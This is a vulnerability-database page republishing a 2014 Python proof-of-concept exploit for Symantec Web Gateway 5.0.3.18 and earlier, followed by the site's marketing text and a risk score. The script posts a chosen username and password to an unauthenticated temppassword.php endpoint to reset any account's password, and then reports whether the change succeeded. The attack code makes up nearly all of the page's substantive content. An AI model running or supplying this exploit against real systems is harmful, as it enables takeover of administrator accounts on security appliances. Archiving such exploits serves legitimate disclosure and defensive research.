Lucene search
K

Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change Python Exploi

Code

                                                #!/usr/bin/python

import urllib
import urllib2
import re
import sys

print &#34;[*] ###########################################################&#34;
print &#34;[*] Symantec Web Gateway &#60;= 5.0.3.18 Arbitrary Password Change&#34;
print &#34;[*] @_Kc57&#34;
print &#34;[*] ###########################################################\n&#34;


if (len(sys.argv) != 4):
	print &#34;Usage: poc.py &#60;RHOST&#62; &#60;username&#62; &#60;newpassword&#62;&#34;
	exit(0)

ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

url = &#34;https://%s/spywall/temppassword.php&#34; % (ip)

opts = {
	&#39;target&#39;:&#39;executive_summary.php&#39;,
	&#39;USERNAME&#39;:username,
	&#39;password&#39;:password,
	&#39;password2&#39;:password,
	&#39;Save&#39;:&#39;Save&#39;
}

print &#34;[*] Sending request to server...&#34;

data = urllib.urlencode(opts)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)

match = re.search(&#39;Your new password has been saved&#39;, response.read())

if(match):
	print &#34;[*] Password for %s changed to %s&#34; %(username,password)
else:
	print &#34;[*] Password change failed!&#34;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20